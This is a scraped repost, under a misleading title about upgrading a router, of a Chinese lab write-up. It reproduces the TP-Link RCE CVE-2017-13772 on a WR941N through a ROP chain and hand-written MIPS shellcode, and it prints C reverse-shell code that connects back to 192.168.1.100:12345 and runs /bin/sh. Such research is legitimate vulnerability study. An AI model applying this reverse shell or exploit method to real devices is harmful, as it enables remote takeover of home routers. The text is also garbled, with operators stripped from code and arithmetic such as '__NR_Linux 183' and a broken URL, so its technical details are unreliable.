tp-wr2041n路由器如何升级(TP-LINKWR941N路由器研究)

作者:Hcamael@知道创宇404实验室

tp-wr2041n路由器如何升级(TP-LINKWR941N路由器研究)(1)

之前看到了一个CVE, CVE-2017-13772

是TP-Link WR940N后台的RCE, 手头上正好有一个TP-Link WR941N的设备,发现也存在相同的问题,但是CVE-2017-13772文章中给的EXP并不通用

所以准备进行复现和exp的修改,折腾了将近4天,记录下过程和遇到的坑

第一次研究mips指令的RCE,之前只学了intel指令集的pwn,所以进度挺慢的

Day 1

第一天当然是配环境了,该路由器本身在默认情况下是不提供shell的,在@fenix帮助下获取到了路由器的shell,该款路由器上的busybox的命令比较少,curl, nc, wget这些命令都没有,只能用tftp进行数据传输,而且只有/tmp目录可写,路由器重启后,传上去的文件就没了,这些问题都可以通过刷固件解决,不过太麻烦了,只需要传上去一个gdbserver就好了,能根据固件中的bin得知这是一个大端mips指令集的设备,gdbserver也不用自己编译,直接下编译好的: https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver

  • 时间问题,usleep的单位是微秒,18217也只有10ms,是不是要睡到1s?因为找不到合适的ROP,所以暂时没法证明

  • flush内存是靠sleep中的几个信号相关的函数?

  • 所以最终我的做法是在wr940n的exp的ROP链中,调用的是usleep(0xc*2 1),但是我将usleep改成sleep => sleep(0xc*2 1),数据缓存被成功flush到主内存中,就能成功执行shellcode了

    Shellcode编写

    在本次研究中,最后时间的除了一开始的调试环境搭建外,就是shellcode的编写了,因为在那篇cve分析的文章中已经给出了wr940n的exp,ROP只需要修改修改地址就好了,所以工作量最大的还是在Shellcode的编写这一部分

    首先是syscall部分,比如:

    li $v0, 4183 syscall 0x40404 # sys_socket

    • mips采用的是RISC,32位系统下,指令固定采用4byte,syscall的字节码是\x0c,剩余的三字节默认用\x00补全,但是因为路由器不接受\x00的输入,所以在大端的情况下改成\x01\x01\x01\x0c,进行反汇编,就是syscall 0x40404

    系统调用的相关函数除了几个mips特有的,其他的都是跟linux下的syscall一样,可参考: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h

    比如sys_socket

    #define __NR_Linux 4000 #define __NR_socket (__NR_Linux 183)

    所以$v0=4183表示的就是socket函数,具体参数信息可以去参考linux的系统调用: http://asm.sourceforge.net/syscall.html

    int sys_socket(int family, int type, int protocol)

    现在,先用c来实现一遍反连shell的代码:

    $ cat test.c#include<stdlib.h>#include <sys/socket.h>#include <netinet/in.h>#include <unistd.h>int main(void){ int sockfd; sockfd = socket(2,2,0); struct sockaddr_in addr; addr.sin_family = 2; addr.sin_port = 0x3039; addr.sin_addr = 0xc0a80164; connect(sockfd, &addr, sizeof(addr)) dup2(sockfd, 0); dup2(sockfd, 1); dup2(sockfd, 2); execve("//bin/sh", 0, 0); return 0;}

    这里有个关键点,https://chromium.googlesource.com/chromiumos/third_party/glibc-ports/ /6cc02c7aaedec87cfb2d105f9682b12b2154e54f/sysdeps/unix/sysv/linux/mips/bits/socket.h

    和其他架构不一样,mips架构中,tcp是2,udp是1

    所以上面的代码比如在ubuntu中,是一个udp反连的代码,但是在mips中就是tcp反连

    还有一点就是wr941n是大端,所以12345端口是0x3039而不是0x3930,ip地址同理

    然后把上面代码转换成mips指令的汇编

    但是有个问题,之前说了该路由器不接收\x00\x20两个字符,而上面的汇编转换成字节码:

    nor $a0,$t7,$zero => "\x01\xe0\x20\x27"

    所以要把这句指令进行修改, 因为$a0$a1的值都为2,所以可以这样修改:

    sw $a1,-1($sp) => "\xaf\xa5\xff\xff" lw $a0,-1($sp) => "\x8f\xa4\xff\xff"

    把上面的汇编转成shellcode替换exp中的shellcode,实际测试,又发现一个问题,设备成功反连了控制端,但是却不能执行命令,到路由器上用ps查看,发现sh已经变为僵尸进程

    经研究,问题出在execve("/bin/sh",0,0),如果我修改成execve("/bin/sh", ["/bin/sh", 0], 0)则成功反弹shell,可以任意命令执行

    参考链接

    1. https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/

    2. https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver

    3. http://shell-storm.org/online/Online-Assembler-and-Disassembler/?opcodes=\x3c\x1c\x2a\xb3\x37\x9c\x17\xb0&arch=mips32&endianness=big#disassembly

    4. https://www.kanxue.com/article-read-218.htm

    5. https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h

    6. http://asm.sourceforge.net/syscall.html

    7. https://chromium.googlesource.com/chromiumos/third_party/glibc-ports/ /6cc02c7aaedec87cfb2d105f9682b12b2154e54f/sysdeps/unix/sysv/linux/mips/bits/socket.h

    ,

    免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com

      分享
      投诉
      首页